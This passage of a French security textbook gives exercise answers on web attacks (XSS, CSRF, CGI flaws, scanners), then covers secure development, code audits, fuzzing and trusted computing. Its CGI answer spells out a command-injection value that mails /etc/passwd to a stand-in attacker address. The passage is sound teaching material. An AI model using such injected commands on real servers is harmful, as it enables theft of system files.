Vous êtes sur la page 1sur 18

FIGURE 10.4.

Programme CGI écrit en Perl


4. cookies vulnérables
5. XSS réfléchies,
6. injections SQL.
Solution p.344

Corrigés des exercices


Corrigé 117 : Sites Web malveillants
L’hameçonnage (en anglais «phishing»), aussi appelé filoutage, est une fraude pour
obtenir des renseignements personnels sur une cible. L’utilisateur est dirigé vers un site
malveillant, souvent très ressemblant à l’original. Cet aiguillage malveillant est en
général réalisé grâ ce à l’ingénierie sociale. Si l’utilisateur saisit ses données, alors
l’attaquant pourra les récupérer et donc les utiliser. Le dévoiement (en anglais
«pharming») est similaire à l’hameçonnage dans ces objectifs. En revanche, l’arrivée de
la cible est différente. Elle est due à une vulnérabilité du système de noms de domaine
(DNS).
Les scams sont des arnaques tentant d’escroquer des fonds à des internautes. L’attaque
consiste à leur faire miroiter une somme d’argent.
Le détournement de clics (en anglais «clickjacking») force l’utilisateur à cliquer sur
quelque chose dont il n’est pas conscient. Souvent, l’attaquant superpose des liens.
On peut aussi citer des attaques de type «man-in-the-browser». Un code malveillant est
installé dans la machine. Il permet aux attaquants de voir les transactions Web,
d’exécuter des transactions à leur guise. Ce type d’attaque est notamment utilisé pour
réaliser des transactions financières sur des systèmes de e-banking à l’insu de
l’utilisateur. Ces codes malveillants sont suffisamment malins pour masquer les
transactions malveillantes à l’utilisateur dans la liste des transactions ainsi que montrer
une balance correcte. Depuis, les banques ont mis en place un système ne permettant
plus de réaliser une nouvelle transaction sans utiliser un facteur externe pour la
transaction concernée (téléphone mobile, calculatrice, etc.), en plus de l’authentification
à l’ouverture de la connexion.
Corrigé 118 : Vulnérabilité Web
1. Apparemment, les noms de factures contiennent un numéro de séquence.
L’assuré malveillant pourrait essayer de changer le numéro de séquence pour
voir s’il obtient l’accès à d’autres factures.
2. Les fichiers se trouvent tous dans le même répertoire et il serait probablement
compliqué de mettre en place un contrô le d’accès pour limiter l’accès aux fichiers
uniquement aux assurés légitimes. Les deux stratégies suivantes sont possibles :
Au lieu d’une numérotation séquentielle, l’application pourrait générer des numéros
aléatoires et trop long pour être devinés. Ainsi, l’assuré ne pourrait retrouver que les
factures que l’application lui a montré.
Au lieu de stocker le PDF des factures dans des fichiers, il pourrait être généré à la volée
par une page Web de l’application. Celle-ci pourrait utiliser des références indirectes
pour trouver la facture à générer. Cette référence ne serait valide que pour l’utilisateur
concerné.

Corrigé 119 : «Cross-site scripting»


1. Le Club des papis parachutistes de Rauville-la-Bigot dispose d’un livre d’or en ligne
sur son site Web. Les messages déposés par les fans des papis sont affichés à tous les
internautes. Un attaquant dépose dans ce livre d’or un script dont la fonction est de
diriger les internautes vers un autre site Web. Lorsqu’un internaute se rend sur la
page du livre d’or, le script s’exécute et renvoie automatiquement l’internaute sur un
autre site, que l’attaquant aura judicieusement choisi.
En utilisant d’autres astuces, l’attaquant peut même faire en sorte que ce soit la victime
elle-même qui envoie le code malveillant sur le site Web. Etudions le scénario suivant :
l’attaquant envoie un courrier électronique dont le sujet contient un script ayant pour
fonction de récupérer le cookie attaché au site actuellement visité et de l’envoyer à
l’attaquant (soit par courrier électronique, soit en se connectant à un autre site Web).
Lorsque la victime ouvre sa boîte aux lettres via l’interface Web de son fournisseur de
services, tous les sujets des courriers reçus s’affichent à l’écran. Si l’application Web ne
vérifie pas l’absence de données indésirables dans les titres, le script s’exécute envoyant
ainsi le cookie d’authentification de la victime à destination de l’attaquant. Celui-ci peut
alors lire les courriers jusqu’à ce que la durée de validité du cookie expire. La figure 10.5
est une copie d’écran d’une interface de messagerie sur le Web qui ne résiste pas au
«cross-site scripting» : les balises HTML dans l’objet du courrier provenant d’Alice Térik
ont été interprétées.
FIGURE 10.5. Interface de messagerie ne résistant pas au «cross-site scripting»
Considérons enfin un dernier exemple. Un attaquant envoie un courrier électronique à
sa victime lui demandant de se rendre à une URL donnée dans le courrier, par exemple
le site de banque en ligne de la victime (un peu d’ingénierie sociale peut aider pour cette
duperie). L’URL, qui contient un script (qui peut être caché ou rendu difficilement
compréhensible en utilisant quelques astuces), correspond en fait à une page inexistante
sur le site Web. Le serveur Web renvoie alors à l’internaute une page d’erreur indiquant
que la page est inexistante en rappelant éventuellement l’URL demandée. Dans ce cas, si
le serveur Web ne vérifie pas le format de l’URL, le script s’exécute chez la victime.
Comme précédemment, l’esprit fertile de l’attaquant permet de terminer la duperie ; un
script affichant une page ressemblant à la page d’authentification à la banque permettra
à l’attaquant de se faire envoyer le mot de passe de sa victime.
2. Du cô té de l’internaute, il est possible d’éviter certaines de ces attaques en
interdisant l’exécution de scripts dans le navigateur. Cette solution ne permet
cependant pas d’éliminer toutes les attaques de type XSS. La solution doit être
trouvée du cô té du concepteur du site Web. En effet, il faut que le celui-ci s’assure
que les pages générées dynamiquement ne peuvent contenir du code non désiré, en
validant les données qui sont fournies par les internautes (script ou HTML contenu
dans une URL, données fournies dans un formulaire, etc.).
Cible. Une XSS vise les internautes qui consultent le site. Une CSRF vise en général le
serveur Web (en utilisant les privilèges de l’internaute).
Confiance. Une XSS exploite la confiance qu’un internaute donne à un site Web. Une
CSRF exploite la confiance qu’un serveur Web donne à un client.
Corrigé 124 : Protections contre les attaques CSRF
Il existe plusieurs moyens de se prémunir contre les CSRF. Ci-dessous, trois possibilités
sont présentées :
1. Il est possible pour le serveur de vérifier le champ Refer. Seules les requêtes
provenant de la bonne page seront acceptées.
2. Il est important de noter que l’action est déclenchée avec une seule requête. En
ajoutant une page de confirmation, cette seule requête ne pourrait pas directement
permettre l’action, mais avertirait l’utilisateur.
3. Il est également important de remarquer que la requête est prévisible et non liée au
contexte. Pour éviter qu’un attaquant puisse construire des requêtes valides, il est
possible que le serveur ajoute un jeton anti-CSRF. Ce jeton doit être non prévisible et
donc aléatoire. Ce jeton est ajouté à la page ou au formulaire fourni au client. Seule
une réponse contenant le même jeton sera accepté. Si aucune action n’est attendue
(aucun jeton n’a été généré), la requête sera invalidée par le serveur et une attaque
CSRF ne sera donc pas possible.
Corrigé 125 : Vulnérabilités des scripts CGI
1. L’objectif du script CGI proposé, tel qu’il a été prévu par son concepteur, est
d’envoyer un courrier électronique à la personne ayant fourni son adresse
électronique par l’intermédiaire de la page Web.
2. L’attaquant peut seulement remplir la ligne du champ du formulaire. Il va donc
essayer d’introduire des commandes dans ce champ afin de tromper le script CGI du
serveur HTTP qui va traiter la requête.
3. La commande open du langage Perl permet d’ouvrir un fichier ; sa syntaxe (man
perlopentut) est open FILEHANDLE, EXPRESSION. L’expression, placée entre
guillemets, comportera un caractère précisant le mode d’ouverture du fichier, suivi
d’un nom de fichier ou de toute autre expression shell qui sera exécutée. Dans notre
cas, /usr/lib/sendmail Sadresse sera donc exécutée.Si la variable $adresse ne
contient pas qu’une simple adresse électronique, mais une expression de la forme
totoSunsite. com ; mail hacker@hacking. com</etc/passwd
alors /usr/lib/sendmail toto@unsite.com sera exécuté, puis (le point-virgule séparant
deux instructions shell) mail hackerShacking. com</etc/passwd. Cette seconde
instruction envoie chez l’attaquant le fichier des utilisateurs du serveur exécutant le
script CGI.
Le fait qu’un attaquant puisse ajouter une deuxième instruction séparée par un point-
virgule est souvent négligé par les développeurs. Dans notre cas, saisir dans le champ du
formulaire hackerQhacking.com</etc/passwd aurait déjà suffit à nous faire envoyer le
fichier des utilisateurs (qui serait inséré entre les en-têtes du courrier). D’autres
attaques sont bien entendu possibles avec ce script particulièrement mal implémenté,
comme par exemple ouvrir un terminal de contrô le à distance.
Corrigé 126 : Scanners de vulnérabilités
1. Le scanner va tenter d’envoyer un chemin ciblant un fichier connu (win.ini ou
/etc/shadow) et analyser la réponse pour voir s’il l’a obtenu.
2. Il peut y avoir des éléments cachés révélant des informations importantes. Le
scanner aura une liste de fichiers typiques à chercher, par exemple des fichiers de
sauvegardes (tels que des extensions .php.bak ou ,php~).
3. Le scanner peut identifier rapidement des champs de mots de passe envoyés en
clairs simplement en analysant les requêtes.
4. Les cookies peuvent aussi faire remonter une mauvaise gestion des sessions, par
exemple avec une entropie trop faible. De plus, afin d’éviter le vol par XSS, certains
cookies ne devraient pas être accessibles au code client (comme du Javascript). Pour
cette raison, il existe un paramètre HttpOnly qui devrait être activé. Cela est
facilement vérifiable par le scanner dans les en-têtes HTTP. En utilisant HTTPS, il est
aussi possible d’utiliser le cookie uniquement dans le cadre des sessions sécurisées
avec le paramètre Secure.
5. Le scanner émet des requêtes en modifiant les champs possibles : champs de
formulaire, paramètres dans l’URL, etc. Le scanner va placer dans ces champs des
textes précis, sû rement avec des caractères spéciaux. Si la réponse contient un de ces
champs de texte, le scanner peut conclure que l’utilisateur a le contrô le sur des
données affichées à l’utilisateur et qu’elles ne sont pas modifiées par le serveur. Une
attaque XSS est donc envisageable.
6. Les scanners envoient des requêtes en remplissant le formulaire ou le paramètre
avec des chaînes SQL connues pour déclencher une erreur.
Chapitre 11
Développement sécurisé
À ce jour, il n’est plus possible d’espérer obtenir une application offrant un certain
niveau de sécurité sans que son développement ait tenu compte de la sécurité dès le
début. Ce chapitre vise, dans un premier temps, à introduire la notion de processus de-
développement sécurisé, un processus mis en œuvre dans de nombreuses entreprises
pour obtenir un niveau de sécurité acceptable dans des applications logicielles
d’envergure. Ensuite, nous discutons le concept d’audit de code et les outils que l’on peut
utiliser à ces fins. Finalement, nous introduisons le concept d’informatique de confiance,
sur lequel repose parfois la sécurité des versions modernes de nos systèmes
d’exploitation, ou celle de matériel plus spécialisé, tels que des décodeurs vidéo, par
exemple.
11.1 Processus de développement sécurisé
Dans cette partie, nous présentons un processus typique de développement sécurisé
semblable à ceux que l’on peut rencontrer en pratique. Ce processus, connu sous
l’acronyme de SDL («Security Development Lifecycle»), a été développé et mise en
œuvre par Microsoft dès 2004, dans le but d’améliorer significativement la sécurité de
ses systèmes d’exploitation et de ses logiciels. On notera qu’il peut s’intégrer à différents
types de cycles de développement (itératif, waterfall, etc.).
Ce processus est structuré en six phases distinctes, à savoir les phase d’exigences, de
conception, d’implémentation, de vérification, de mise en production et de maintenance,
que nous présentons succinctement dans les sections suivantes. Il faut noter que le
processus SDL peut sans autre être combiné avec les processus classiques de
développement logiciel, telles que les méthodes agiles, par exemple.
11.1.1 Phase d'exigences
Lorsque l’on souhaite que la sécurité d’une application logicielle soit la meilleure
possible, il est nécessaire de commencer à y penser dès le début de son développement.
En effet, si l’on se contente de tester la sécurité du logiciel de façon tardive, les coû ts à
investir pour corriger des vulnérabilités découlant d’une mauvaise conception seront
très élevés, dans tous les cas beaucoup plus élevés que les coû ts induits par la prise en
charge de la sécurité dès le début du développement.
Lors de la phase d’exigences, la première tâ che à effectuer consiste à identifier si le
logiciel qui va être développé doit suivre le processus SDL. Si c’est le cas, il est temps de
nommer une personne de référence dans l’équipe de développement qui sera
responsable pour tout ce qui concerne les aspects sécuritaires. De plus, il faut s’assurer
que les outils nécessaires pour effectuer le suivi des problèmes sécuritaires sont bien en
place et fonctionnels.
Il est également temps de fixer l’ensemble des critères qui établissent le niveau minimal
de sécurité acceptable. Ce dernier ne devrait jamais être descendu durant la vie du
projet, particulièrement lorsque la date de mise en production se rapproche. Définir le
niveau de sécurité minimal dès le début du projet permet aux équipes de
développement de mieux identifier les risques associés aux aspects sécuritaires.
Durant cette phase de définition d’exigences, un document devra être rédigé (appelé
security plan document) qui décrit les processus qui devront être suivis, les tâ ches qui
devront être effectuées et les ressources qui devront être allouées en rapport avec la
sécurité dans les phases ultérieures. Ce document devrait contenir des informations au
sujet des formations éventuelles à effectuer par les membres de l’équipe de
développement, de la façon dont les menaces seront modélisées, ou encore comment
sera effectuée la revue finale de sécurité.
Enfin, on profitera également durant cette phase d’effectuer une évaluation des risques
sécuritaires dans le but d’identifier les aspects fonctionnels du logiciel sur lesquels il
faudra être particulièrement vigilant en termes de sécurité.
11.1.2 Phase de conception
La phase de conception est le moment où seront établis les plans d’action précis en
matière de sécurité pour tout le reste de la vie du projet.
Les spécifications fonctionnelles du logiciel doivent prendre en compte les aspects
sécuritaires qui sont directement exposés aux futurs utilisateurs, tels que les
mécanismes d’authentification et d’autorisation, ou les fonctionnalités qui ont des
impacts importants sur la vie privée des utilisateurs.
Les spécifications de conception doivent décrire comment ces aspects sécuritaires
devront être implémentés vis-à -vis de la sécurité. Par exemple, c’est dans ce document
que l’on spécifiera quel mécanisme d’authentification utiliser, comment valider de façon
rigoureuse les entrées du logiciel, etc.
Une autre tâ che très importante effectuée lors de cette phase est la modélisation des
menaces. Ce processus consiste à identifier de manière minutieuse et systématique
toutes les menaces s’appliquant au logiciel en devenir. Il doit absolument être effectué
avant la phase d’implementation, de façon à ce que les équipes de développement
comprennent bien la nature des données sensibles qui seront traitées, les menaces et les
vulnérabilités en jeu et la façon dont le projet les traite. Cette modélisation des menaces
doit énumérer de façon exhaustive toutes les entrées et les sorties du logiciel, les
différents domaines de confiance et leurs frontières communes, une liste des hypothèses
prises durant cette étape de modélisation des menaces, ainsi que toutes les dépendances
externes du logiciel, entre autres.
Enfin, un document décrivant les recommandations en matière de sécurité doit être
rédigé. Ce dernier comprendra notamment des informations au sujet :
 de la description de la surface d’attaque, en configuration par défaut ou maximale
;
 de la façon de structurer le logiciel ;
 de la stratégie utilisée pour minimiser la surface d’attaque ;
 du respect des principes de base en sécurité de l’information (voir la section
1.3) ;
 etc.
11.1.3 Phase d’implémentation
Lors de la phase d’implémentation, il s’agit, dans un premier temps, de spécifier les
bonnes pratiques en termes d’implémentation, et, dans un second temps, de mettre en
pratique ces bonnes pratiques. Plus précisément, c’est le moment où un certain nombre
d’outils et de processus sont mis en place pour s’assurer que le code produit possède la
plus haute sécurité possible.
Ces bonnes pratiques incluent notamment :
 le respect des bonnes pratiques spécifiques au(x) langage(s) de programmation
utilisé(s) ;
 l’utilisation de pratiques de programmation défensive ;
 l’interdiction d’utiliser des routines standard considérées comme dangereuses,
comme par exemple strcpy ( ) en C ;
 l’utilisation des options de compilation permettant, le cas échéant, de renforcer la
sécurité des binaires. On pense ici à l’utilisation de mécanismes de protection de
la pile, ou de mécanismes de défense contre les manipulations de mémoire ;
 l’utilisation de bibliothèques spécialisées offrant des fonctionnalités
cryptographiques ou sécuritaires ;
 la validation systématique des entrées et des sorties du logiciel, selon une
approche de liste blanche ;
 l’intégration d’outils de scan de code dans le processus de compilation
permettant d’éviter de manière systématique les pièges classiques et bien connus
;
 etc.
11.1.4 Phase de vérification
La phase de vérification est dédiée à établir l’assurance que le logiciel respecte bien le
niveau de sécurité minimal établi lors des phases précédentes. Cela implique notamment
de vérifier que tous les aspects fonctionnels sécuritaires sont présents et remplissent
leur rô le. Cette phase s’effectue par l’utilisation de tests fonctionnels sécuritaires. On
s’assurera ainsi que les aspects sécuritaires fonctionnent comme espéré, et surtout,
qu’ils ne peuvent pas être contournés. Cette phase de vérification peut également
s’appuyer sur des tests d’intrusion et des revues de code, de façon à identifier pro-
activement le plus de vulnérabilités possibles. Elle devrait idéalement être effectuée par
une ou des équipes externes, ce qui apporte deux avantages majeurs : premièrement, un
regard externe à l’équipe de développement permet souvent de soulever des problèmes
qui n’avaient pas été identifiés auparavant ; deuxièmement, effectuer des tests
d’intrusion est une activité spécialisée qui nécessite des connaissances et de l’expérience
que ne possèdent pas forcément une équipe de développement.
Finalement, c’est durant la phase de vérification qu’il est recommandé d’effectuer un
security push, à savoir une revue globale par l’équipe de développement des modèles de
menaces, des résultats des revues de code et des tests d’intrusion. En d’autres termes,
c’est un effort coordonné pour identifier des changements durant la période de
développement qui pourraient avoir des impacts sur la sécurité du logiciel. Pour qu’un
security push soit efficace, il faut évidemment que du temps et des ressources lui soient
alloués.
11.1.5 Phase de mise en production
La phase de mise en production est le moment où l’application est prête à être livrée à
ses utilisateurs finaux. Malgré toutes les mesures mises en place, il est à peu près certain
qu’un logiciel mis en production possède encore des vulnérabilités, et que certains des
composants dont il dépend vont devoir être corrigés une fois déployés.
C’est pourquoi, lors de cette phase, il est recommandé de définir un plan d’action
décrivant le processus à suivre lorsqu’un événement en rapport avec la sécurité du
logiciel se passe : implémentation et tests de correctifs, mise en production de correctifs,
etc. L’idée est que l’équipe de développement soit prête à réagir de la meilleure façon
possible à une urgence en matière de sécurité. Finalement, juste avant de mettre en
production le logiciel, on effectue une revue finale de sécurité, qui décide si le logiciel est
prêt ou pas, en termes de sécurité, à être livré. Cette revue finale est normalement
effectuée par une équipe spécialisée différente de l’équipe de développement. Des tests
supplémentaires peuvent être effectués à ce moment.
11.1.6 Phase de maintenance
La phase de maintenance est la période durant laquelle le logiciel est en production chez
ses utilisateurs. Durant cette période, des correctifs peuvent être implémentés en
réponse à des vulnérabilités découvertes après la mise en distribution. Dans certains
cas, des équipes dédiées sont responsables d’analyser les vulnérabilités de type 0-day
exploitées par des vecteurs malveillants, tels que virus ou vers, et d’identifier les
mesures correctives nécessaires.
11.2 Audits et scanners de code
Dans cette partie, nous nous attachons à décrire plus précisément les audits de code,
qu’ils soient réalisés de manière manuelle ou automatique.
11.2.1 Revue manuelle de code
Lorsqu’on applique un processus de développement sécurisé, les relectures de code font
partie intégrante de la phase de vérification. Naturellement, une revue de code doit être
effectuée par un développeur n’ayant pas écrit ce code. Idéalement, cela devrait être
quelqu’un d’externe à l’équipe de développement, qui n’est pas partie prenante dans le
projet, car une vue tierce est souvent précieuse pour débusquer des problèmes subtils.
Effectuer des revues manuelles de code au sein d’une équipe de développement ne va
pas sans difficultés. Premièrement, le nombre de lignes de code pouvant être relues
manuellement est souvent faible, car c’est une activité relativement pénible. Ceci peut
devenir un problème pour les projets d’envergure comportant des milliers, voire des
millions de lignes de code. Deuxièmement, il n’est pas agréable pour un développeur
n’ayant pas l’habitude de cet exercice, de se faire relire son code, car, explicitement ou
implicitement, un jugement qualitatif est effectué sur son travail.
Un des avantages majeurs des revues de code manuelles est qu’elles permettent
d’identifier des problèmes subtils que ne découvriront pas les outils automatiques. Un
relecteur humain est en effet au fait de la sémantique du code qu’il relit, ainsi que des
commentaires (quand ils sont présents ...) livrés par le développeur ; de plus, il dispose
de plusieurs documents, tels que les spécifications fonctionnelles et sécuritaires, ou
l’architecture sécuritaire, qui l’aident à comprendre les buts à atteindre. Enfin, un
relecteur de code humain possède souvent une grande expérience en termes de
développement et de sécurité que ne possèdent pas un outil automatique.
Par contre, un des défauts majeurs des relecteurs de code humains est qu’ils ne sont pas
forcément efficaces pour identifier de manière exhaustive les vulnérabilités en lien avec
la syntaxe du langage de programmation utilisé, ou l’utilisation de routines dangereuses.
Dans ce but, on recommande plutô t d’utiliser des scanners de code.
11.2.2 Scanners de code et instrumentation de binaires
Les scanners de code sont des outils automatiques, qui s’intègrent souvent dans les
environnements de développement habituels, et qui permettent de vérifier un certain
nombre de critères sécuritaires sur le code écrit par un développeur. Ils permettent,
grâ ce à leurs importantes bases de données d’utilisations problématiques, d’attirer
l’attention du développeur sur une partie de son code potentiellement dangereuse, tout
en lui expliquant les raisons de sa décision. Le développeur est ensuite libre d’estimer
s’il s’agit d’un faux positif, ou s’il convient d’apporter un correctif à son code.
Les scanners de code permettent ainsi, de manière automatique, de nettoyer de grandes
quantités de code vis-à -vis de vulnérabilités bien connues et bien comprises.
Naturellement, il reste toujours nécessaire d’interpréter à bon escient leurs indications,
et ils ne seront jamais capables d’identifier des failles sécuritaires subtiles.
Travaillant de manière statique sur le code, c’est-à -dire avant sa compilation ou son
interprétation, les scanners de code ne sont pas souvent capables d’identifier des
problèmes en relation avec la gestion de la mémoire, comme des débordements de
tampon, des corruptions de structures de données sensibles, des fuites de mémoires, etc.
Pour ce faire, il est possible d’identifier ce genre de problèmes de manière dynamique en
instrumentant l’exécutable binaire. En d’autres termes, il s’agit de fournir l’exécutable
binaire à un outil, qui va le modifier dynamiquement, ou le compiler au moyen de
fonctionnalités d’instrumentation, et de l’exécuter. Cette version modifiée de
l’exécutable sera ainsi capable de détecter tout un ensemble de problèmes qui ne
peuvent être identifiés statiquement.
11.2.3 Scanners de vulnérabilités et fuzzing
Certaines vulnérabilités ne peuvent être découvertes que via une interaction avec ses
points d’entrées. Si l’on prend l’exemple d’une application Web écrite en PHP, il sera
certes possible pour son développeur d’utiliser un scanner de code afin d’identifier des
problèmes potentiels. Néanmoins, une grande partie des vulnérabilités ne peut être que
détectée en interagissant avec les points d’entrée de l’application.
Un scanner de vulnérabilités est un outil capable d’interagir avec une application ou un
système, qu’il va considérer comme une boîte noire, dans le but d’identifier des
vulnérabilités.
Pour ce faire, il peut disposer d’une importante base de données de vulnérabilités
connues, qu’il pourra tester de manière exhaustive. Il peut également utiliser des
heuristiques pour fabriquer des requêtes, s’il s’agit d’une application Web, ou des
entrées, s’il s’agit d’une application standard, qui sont potentiellement malveillantes et
qui permettent de vérifier que le mécanisme de validation des entrées de l’application,
pour autant qu’il existe, est efficace.
L’idée d’interagir avec le logiciel et de le stresser en lui soumettant des entrées sortant
du cadre habituel est également applicable aux exécutables binaires. Cette stratégie
s’appelle le fuzzing et elle est principalement utilisée en pratique pour découvrir des
vulnérabilités en relation avec la gestion de mémoire.
La stratégie de fuzzing la plus simple consiste à envoyer des valeurs pseudo-aléatoires à
toutes les entrées de l’exécutable, et de détecter un plantage de ce dernier. Cette
stratégie, bien que très simple à mettre en œuvre, n’est, pas très efficace car elle ne tient
pas compte du format des entrées. Ainsi, la plupart du temps, on ne peut couvrir de cette
manière qu’une partie négligeable du code exécutable.
Des stratégies plus avancées consistent à partir d’une base d’entrées valides, qui ont de
la signification pour l’application, et à les modifier de manière pseudo-aléatoire. Ainsi, la
couverture de code obtenue sera naturellement plus grande et la probabilité de
découvrir une vulnérabilité sera plus importante.
On peut augmenter encore l’efficacité du fuzzing en instrumentant le logiciel à auditer.
En l’exécutant dans un débogueur ou en lui ajoutant des instructions spécifiques, l’outil
de fuzzing peut remarquer quand une entrée provoque une séquence d’exécution
différente, ce qui peut lui permettre de faire des choix éclairés sur les entrées à générer.
Plus une stratégie est intelligente, plus il est difficile de la rendre générique et capable de
trouver des failles dans un grand nombre de logiciels. Un bon exemple d’un fuzzer
efficace et générique est le logiciel American Fuzzy Lop qui a permis de découvrir des
failles dans des logiciels aussi variés que des navigateurs (Firefox, Chrome, Internet
Explorer), des librairies graphiques (libpng, libtiff, libjpeg-turbo) et cryptographiques
(GnuTLS, GnuPG, OpenSSH).
On notera qu’il est important que les perturbations ou les données soumises à
l’application soient générées de manière pseudo-aléatoire, c’est-à -dire de manière
déterministe. En effet, en cas de plantage, il doit être possible de rejouer la séquence,
dans le but de caractériser la vulnérabilité, de mieux la comprendre et de la corriger.
11.3 Informatique de confiance
L’informatique de confiance est un concept qui consiste à protéger du logiciel lors de son
exécution, que cela soit un système d’exploitation ou une application, pour éviter qu’il ne
puisse être manipulé pour s’exécuter d’une manière différente de celle pour laquelle il a
été conçu.
Les ingrédients pour atteindre ce but sont un composant matériel réputé inviolable, des
clefs asymétriques et des méthodes cryptographiques permettant de vérifier et de
contrô ler l’intégrité de tous les logiciels s’exécutant sur la plateforme. Ainsi, une grande
proportion d’ordinateurs récents sont munis d’un composant appelé TPM (« Trusted
Platform Module ») qui est directement intégré sur la carte-mère ; ces systèmes sont
ainsi conformes aux spécifications du TCG (« Trusted Computing Group »), qui est un
consortium d’acteurs majeurs dans le domaine informatique. Ce composant, possède
souvent des caractéristiques similaires à celles d’une carte à puce. D’autres exemples où
l’informatique de confiance joue un rô le important sont la sécurisation des smartphones
modernes, des décodeurs vidéo et, plus généralement, de tous les systèmes
informatiques requérant une sécurité élevée.
L’idée de base de l’informatique de confiance est qu’il est significativement plus coû teux
d’extraire des secrets d’un composant matériel sécurisé que d’un logiciel. En effet, même
s’il est quasiment toujours possible de violer l’intégrité d’un composant matériel, aussi
sû r soit-il, les moyens et les connaissances nécessaires sont nettement plus coû teux et
difficiles à mettre en œuvre que dans le cas d’un système reposant uniquement sur du
logiciel.
Un exemple d’un système efficace reposant sur l’informatique de confiance est le
système d’exploitation pour smartphones iOS et le canal de distribution mis en place et
contrô lé par l’entreprise Apple. Le matériel développé par Apple vérifie l’authenticité du
système d’exploitation avant de le démarrer. Celui-ci vérifie que les applications
installées ont bien été signées par Apple. Enfin, Apple contrô le la qualité et le type
d’applications qui sont disponibles. Il arrive que des failles permettant d’exécuter du
code arbitraire sous iOS soient découvertes. On parle alors d’un jailbreak. Néanmoins,
Apple réagit rapidement avec des mises à jour logicielles et matérielles et les jailbreak
sont de plus en plus rares.
Pour les ordinateurs personnels, il est plus difficile d’obtenir un contrô le aussi serré sur
l’exécution de logiciels. Un TPM est capable de stocker des clefs et des informations
concernant l’ordinateur de manière sécurisée et peut fournir les services suivants :
 Vérification de l’intégrité de la plateforme : les caractéristiques matérielles de
l’ordinateur ainsi que l’empreinte du code utilisé pour le démarrer peuvent être
stockés dans le TPM sous forme d’une empreinte cryptographique. À l’aide d’une
clef privée unique, le TPM est capable d’attester, même à distance, que la
plateforme est encore intègre. Un fournisseur de contenu pourrait par exemple
exiger cette attestation avant de livrer un logiciel ou un film.
 Protection des clefs : des clefs, utilisables pour chiffrer un disque dur, par
exemple, peuvent être stockées dans le TPM. Celui-ci pourra être instruit de ne
fournir ces clefs seulement si la plateforme est intègre, c’est à dire si le code
utilisé pour démarrer l’ordinateur n’as pas été modifié.
 Authentification : le TPM peut être utilisé pour vérifier des mots de passe. Comme
l’empreinte des mots de passe est stockée dans la puce et pas sur le disque dur, il
n’est pas possible de récupérer le mot de passe en cassant l’empreinte.
Avec un TPM, il est possible depuis Windows 8 de contrô ler totalement le processus de
démarrage et le chargement du système d’exploitation ; ainsi, on s’assure qu’aucun code
malveillant n’est présent dans le système. Ceci permet donc de détecter des rootkits qui
s’exécutent avant le système d’exploitation, du type de TDL-4 (voir la section 7.1.1).
Certaines applications critiques peuvent aussi être signées et vérifiées par le système
d’exploitation, mais on reste encore loin d’une interdiction d’exécution de tout logiciel
qui n’aurait pas été signé par Microsoft.
Il faut noter que si le TPM permet de vérifier l’intégrité du système lors de son
démarrage, il ne peut pas empêcher qu’un système différent soit démarré, par exemple à
partir d’une clef USB. Cette fonctionnalité peut être obtenue avec l’option dite de secure
boot des BIOS récents qui sont compatibles avec la norme UEFI. Ainsi, avec le concept de
secure boot, il est techniquement possible de vendre un ordinateur qui n’accepte pas
d’autre système d’exploitation que celui qui est déjà installé.
Le but louable des systèmes permettant de contrô ler l’exécution d’un logiciel est
d’empêcher la propagation de codes malveillants et de rendre plus difficile l’exploitation
de failles de sécurité. De leur cô té, les détracteurs de ces méthodes estiment qu’un
dessein plus controversé de ces dernières est la protection des droits numériques pour
empêcher le piratage, voire d’asseoir le monopole des éditeurs de logiciels et de limiter
les droits du propriétaire légitime du matériel et des logiciels.
À ce point, une conclusion pessimiste concernant l’informatique de confiance peut
émerger. Il apparaît que toutes les mesures techniques présentées dans cet ouvrage ne
suffisent pas pour créer un système vraiment sécurisé. Le seul moyen d’y arriver serait
de sacrifier la liberté de pouvoir installer le logiciel que l’on désire sur son ordinateur. Le
lecteur attentif aura sû rement remarqué que ce ne sont pas les plateformes libres,
comme Linux par exemple, qui souffrent le plus des problèmes de sécurité que
l’informatique de confiance veut éliminer. Il est donc permis d’espérer pouvoir
conserver un peu de liberté à l’avenir.
11.4 Lectures complémentaires
L’article décrivant l’introduction du processus SDL par Lipner et Howard et intitulé The
trustworthy computing security development lifecycle est à recommander. Les mêmes
auteurs ont également rédigé un livre [30] à ce sujet, The security development lifecycle -
SDL : a process for developing demonstrably more secure software. Un ouvrage désormais
devenu un classique dans le domaine du développement sécurisé est la deuxième
édition de Writing secure code [38], par David LeBlanc et Michael Howard. Les Seven
touchpoints of security sont une méthode moins lourde et moins axée sur
l’environnement Microsoft décrite par Gary McGraw dans son livre Software security -
building security in [45]. Dans le domaine de l’informatique de confiance, on lira avec
intérêt la FAQ de Ross Anderson, qui bien que datant un peu, reste terriblement
d’actualité. Finalement, du même auteur, on ne peut que chaleureusement recommander
son livre Security engineering [1] à quiconque souhaitant développer un système
sécurisé. À noter qu’une version gratuite au format PDF est disponible sur le site Web de
l’auteur.
Énoncés des exercices
Exercice 127 : Appel système chroot ( )
Un spécialiste en développement sécurisé sur Linux explique que [...] un programme
n’appelle pas chdir ( ) lorsqu’il appelle chroot ( ), ce qui pourrait permettre à un
attaquant de sortir de l’environnement restreint.
Expliquer en une phrase ce que fait l’appel système chroot ( ).
Expliquer comment on peut utiliser l’appel système chroot pour durcir la sécurité d’un
démon, c’est-à -dire, d’un programme s’exécutant en tâ che de fond, comme un serveur
Web.
En sachant qu’il est possible de sortir d’un environnement restreint lorsque l’on possède
les droits d’administrateur (root), comment traiter ce risque lors du développement
d’un serveur Web?
Solution p.355
Exercice 128 : Sentinelle matérielle
Une sentinelle matérielle est un petit composant qui se branche sur un ordinateur via le
port USB dans le but de fournir des fonctionnalités sécuritaires. L’inventeur d’un
algorithme très performant dans le domaine de l’imagerie médicale souhaite le protéger
contre la rétro-conception, et on lui conseille l’utilisation d’une sentinelle matérielle.
Cette dernière est constituée d’un CPU avec une fréquence de 1 GHz, de 256 MB de RAM
ainsi que d’une mémoire de type flash de 32 GB.
1. Expliquer brièvement comment une sentinelle matérielle pourrait contribuer à
renforcer la résistance au reverse engineering de cet algorithme.
2. Pourquoi est-il plus difficile de casser un mécanisme de protection reposant sur
un composant matériel ?
3. Quels sont les avantages et désavantages des sentinelles matérielles ?
Solution p.356
Exercice 129 : Processus de développement sécurisé
Un nouveau projet de développement logiciel va commencer tout prochainement au sein
d’une entreprise de vente en ligne. Cette application devra traiter des numéros de cartes
de crédits, ainsi que d’autres informations sensibles. Pour cette raison, un budget d’une
certaine importance a été débloqué pour s’assurer de la sécurité du produit final.
Expliquer comment il est possible d’intégrer la sécurité dans le processus de
développement de cette application.
La personne responsable de la sécurité de l’application hésite entre effectuer une revue
